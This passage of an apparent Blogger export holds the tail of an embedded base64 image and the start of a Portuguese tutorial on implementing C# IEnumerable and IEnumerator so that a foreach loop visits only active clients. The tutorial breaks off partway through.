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" /></p><p><br /></p>Paulo Ferreira "O Prof..."http://www.blogger.com/profile/14402544521476818760noreply@blogger.com0tag:blogger.com,1999:blog-1980868650914217222.post-47755156425033538672019-09-30T02:42:00.000-07:002019-09-30T02:42:38.127-07:00C# IEnumerable e IEnumeratorNeste artigo vamos aprender como utilizar a interface IEnumerator por forma a permitir utilizar um ciclo foreach num conjunto ou coleção de dados.<br />
<br />
A maior parte das coleções (listas e outras) já implementam a interface, mas neste caso vamos personalizar a maneira como percorremos a lista.<br />
<br />
Quando utilizamos código assim:<br />
<br />
foreach(Class c in Collection)<br />
{<br />
...<br />
}<br />
<br />
O compilador converte este código em algo assim:<br />
<br />
IEnumerator cc = Collection.GetEnumerator()<br />
while(cc.MoveNext())<br />
{<br />
c=(Class)cc.Current;<br />
...<br />
}<br />
<br />
Ao implementar a interface IEnumerable significa que a classe implementa uma versão da função GetEnumerator() que deve devolver uma classe que implemente a interface IEnumerator.<br />
<br />
Vamos explorar um exemplo.<br />
<br />
Começamos pela classe client<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhu6JBd0bmMvtBAr5cEIB3m11h-_pj12Mvb_JnEyN4XQm2alkKWJwowNj8Bf_mM33d_ffzrPWd91QF3zs9zaJBXhfuha25n1x3298vtSc5J9oWMnNE-oIgbUx8k5GxLkeWLGm7St3-yRyv2/s1600/class_client.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="397" data-original-width="386" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhu6JBd0bmMvtBAr5cEIB3m11h-_pj12Mvb_JnEyN4XQm2alkKWJwowNj8Bf_mM33d_ffzrPWd91QF3zs9zaJBXhfuha25n1x3298vtSc5J9oWMnNE-oIgbUx8k5GxLkeWLGm7St3-yRyv2/s320/class_client.jpg" width="311" /></a></div>
<br />
Esta classe permitirá guardar os dados dos clientes, existindo um campo para indicar se o cliente ainda está ativo ou não.<br />
<br />
De seguida temos uma classe que define uma lista de clientes e que implementa a interface IEnumerable que devolve um objeto do tipo ListOfClientsEnum, que será utilizado no ciclo foreach.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiaymYfIxKQ1r6caUnYAuyUOk-yvHjSAG3fHlKaE_cSzRSwId0NOyDQQoVm4PfQ-bkK7UaQKiImLJQMXTN065si-bsjrRz1_aIwCRjLZVDI1jHxiSurlvOJS47nE_2QbMg5goR-4naNB1ri/s1600/lista_clients.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="326" data-original-width="400" height="260" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiaymYfIxKQ1r6caUnYAuyUOk-yvHjSAG3fHlKaE_cSzRSwId0NOyDQQoVm4PfQ-bkK7UaQKiImLJQMXTN065si-bsjrRz1_aIwCRjLZVDI1jHxiSurlvOJS47nE_2QbMg5goR-4naNB1ri/s320/lista_clients.jpg" width="320" /></a></div>
Na classe ListOfClientsEnum definimos o modo como se fará a enumaração dos elementos da lista.<br />
Uma vez que só pretendemos percorrer os clientes ativos vamos implementar a interface IEnumerator.<br />
<br />
Definimos uma lista dos clientes e uma variável para guardar a posição do elemento atual.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEirwfM1iKmWZVNAqg2k6P0-ZUTCPipnmsVxDFToLnZRIJ2RhFt6ydeinTC7TLYU1CUaJJ94kdXLRfi2qBSuT_y5h5VLgo3er-49W1UkmRiO7m3D6Cstj3g7yWhDVSaowwtFT7KZ4jEj2txI/s1600/class_listofclientsenum.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="234" data-original-width="432" height="173" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEirwfM1iKmWZVNAqg2k6P0-ZUTCPipnmsVxDFToLnZRIJ2RhFt6ydeinTC7TLYU1CUaJJ94kdXLRfi2qBSuT_y5h5VLgo3er-49W1UkmRiO7m3D6Cstj3g7yWhDVSaowwtFT7KZ4jEj2txI/s320/class_listofclientsenum.jpg" width="320" /></a></div>
O construtor da classe define uma referência para a lista de clientes e define a posição atual em -1, ou seja, antes do primeiro elemento.<br />
<br />
A interface IEnumerator obrigado a implementar as funções MoveNext, Reset e a propriedade Current, que a seguir se apresentam.<br />
<br />
A propriedade Current devolve o elemento atualmente selecionado de acordo com a propriedade position.<br />
<div class="separator" style="clear: both; text-align: center;">
